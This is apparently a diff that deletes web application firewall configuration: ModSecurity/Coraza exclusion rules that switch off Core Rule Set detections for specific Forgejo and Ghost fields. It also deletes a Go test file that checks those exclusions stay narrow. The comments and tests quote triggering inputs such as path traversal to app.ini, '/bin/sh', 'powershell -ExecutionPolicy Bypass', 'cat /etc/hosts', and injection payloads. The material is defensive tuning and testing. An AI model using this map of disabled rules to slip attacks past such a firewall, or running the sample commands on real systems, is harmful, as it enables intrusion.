# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
# which skips the list of command names (932260) there. It refused python3.
SecRule REQUEST_FILENAME "@streq /admin/repos" \
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo renames a branch on its own path, where from and to name branches.
# They skip these rules:
# 932120: fix-powershell-module
# 932260: feat/docker-support
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
# nothing when the query has a parameter of the same name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
"id:900666,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
ctl:ruleRemoveTargetById=932260;ARGS:from,\
ctl:ruleRemoveTargetById=932120;ARGS:to,\
ctl:ruleRemoveTargetById=932260;ARGS:to"
SecMarker END_FORGEJO
-169
View File
@@ -1,169 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// forgejo is Forgejo's name in SWW_WAF_APPS.
const forgejo = "forgejo"
// forgejoHost is the hostname of the tests of SWW_WAF_APPS that serves Forgejo.
const forgejoHost = "code.example"
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
forgejoHost: {forgejo}, otherHost: {wordpress},
})
// A search of a wiki, a search of the admin page, and a file name in
// Forgejo's flash cookie, which only Forgejo's fixes let through.
for _, fixed := range []struct {
request request
result coreruleset.Result
}{
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
{get("/admin/repos?q=python3"), matched(932260)},
{
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
} {
wantResult(
t,
crs,
withHost(fixed.request, forgejoHost),
coreruleset.Result{},
)
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
}
}
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
for _, fixed := range giteaFixed {
wantResult(
t,
crs,
withHost(fixed.request, forgejoHost),
coreruleset.Result{},
)
}
}
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
// fixes, and the searches for a name, from gitea's. The search of code at a
// branch or tag is not one of them: there, as on gitea's search of code, q
// lets these attacks through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{
"/alice/tools/wiki/search",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/admin/repos",
"/explore/repos",
"/explore/users",
"/alice/tools/branches",
"/alice/-/packages",
"/api/v1/packages/alice",
"/alice",
}
// forgejoAttacks are an SQL injection, a path traversal, a script injection
// and a shell command after a ";", as query values.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoAttacks = []string{
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
}
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range forgejoSearches {
for _, attack := range forgejoAttacks {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the searches
// named in Forgejo's fixes and on those of branches and packages, stay
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named
// wiki, where gitea's fixes let q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches.
for _, target := range []string{
"/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=",
"/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
-272
View File
@@ -1,272 +0,0 @@
# Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
# ordinary Ghost requests there. Each exclusion runs with the request, before the
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request a rule refused. An exclusion on a field of
# a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
# and members call /members/api/. Coraza names a field of a JSON body by its
# path, so the title of the first post saved is json.posts.0.title.
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
# while SWW_WAF_APPS is unset, or lists ghost for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_ghost itself.
SecRule &TX:app_ghost "@eq 0" \
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
"id:900350,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:filter"
# search, the search for a member by name or address, skips four rules on the
# Admin API:
# 930120: search=.htaccess
# 932120: search=powershell
# 932250: search=ls -la
# 932260: search=python3
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900351,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:search,\
ctl:ruleRemoveTargetById=932120;ARGS:search,\
ctl:ruleRemoveTargetById=932250;ARGS:search,\
ctl:ruleRemoveTargetById=932260;ARGS:search"
# url, the address the editor looks up for an embed or a bookmark, skips two
# rules:
# 930120: url=https://github.com/example/site/blob/main/.htaccess
# 932120: url=https://example.com/blog/powershell-tips
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
"id:900352,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields a person types plain text into skip seven rules on the Admin API:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
# 932260: the tag python3
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
# These fields hold plain text:
# title, name and slug of posts, pages, tags, labels, members, newsletters
# and snippets; a post's tags and a member's labels, by name or slug
# custom_excerpt, description, note and sender_name
# meta_title, meta_description, og_title, og_description, twitter_title and
# twitter_description
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900353,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
# name, the name a member saves at /members/api/, skips the same seven rules.
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900359,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
# A member's email address skips 930120, 932120 and 932260, which refused
# erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. These fields hold it:
# members.<n>.email, when the admin adds or edits a member under
# /ghost/api/admin/members/
# email, when a member signs up or in at /members/api/
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/members/" \
"id:900354,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.members\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.members\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.members\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.members\.\d+\.email$/"
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900360,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.email$/"
# A staff user's email address also skips 930120, 932120 and 932260, which
# refused erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. Each of these fields skips them only on its own path:
# username, signing in at /ghost/api/admin/session/
# setup.<n>.email, creating the first staff user
# password_reset.<n>.email, asking for a password reset
# users.<n>.email, saving a staff user's profile
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/session/" \
"id:900361,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.username$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.username$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.username$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.username$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/setup/" \
"id:900362,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.setup\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.setup\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.setup\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.setup\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/password_reset/" \
"id:900363,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.password_reset\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.password_reset\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.password_reset\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.password_reset\.\d+\.email$/"
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"id:900364,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.users\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
# 932125, 932230, 932235, 932250: cat /etc/hosts | grep example
# 932160: #!/usr/bin/env python3
# 932260: python3 -m venv .venv
# 932370: the same list in the html of a post saved through the API
# 932380: a code block whose second line starts with powershell
# 934100: document.querySelectorAll('a').forEach((a) => console.log(a.href))
# 941100, 941160: an HTML card with an iframe
# 941120: onclick= in an HTML card
# 941180: window.onload in a code block
# 941390: console.log(
# 942190: a code block with an SQL query
# These fields hold an article:
# posts.<n>.lexical and pages.<n>.lexical, which the editor saves, and the
# same fields mobiledoc, in Ghost's older format, and html, which
# integrations send
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse
# newsletters.<n>.footer_content, the footer of a newsletter
# A javascript: link (941170, 941210) is still refused in them. A <script>
# element (941110) passes only in posts and pages, by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/"
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the rules of plain text above and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# A javascript: link is still refused in them, and a <script> element passes
# by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# A <script> element skips 941110 in posts, pages and code injection, on the
# Admin API, which refused:
# an HTML card that embeds a widget with its script
# code injection that loads analytics,
# <script defer src="https://analytics.example.com/script.js"></script>
# These fields take a <script> element on purpose:
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# Snippets and a newsletter's footer still refuse it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900366,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"id:900357,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
# invitation.<n>.password, accepting an invitation
# password_reset.<n>.newPassword and ne2Password, resetting a password
# password.<n>.oldPassword, newPassword and ne2Password, changing one at
# /ghost/api/admin/users/password/
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/(?:session|authentication/(?:setup|invitation|password_reset)|users/password)/$" \
"id:900358,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
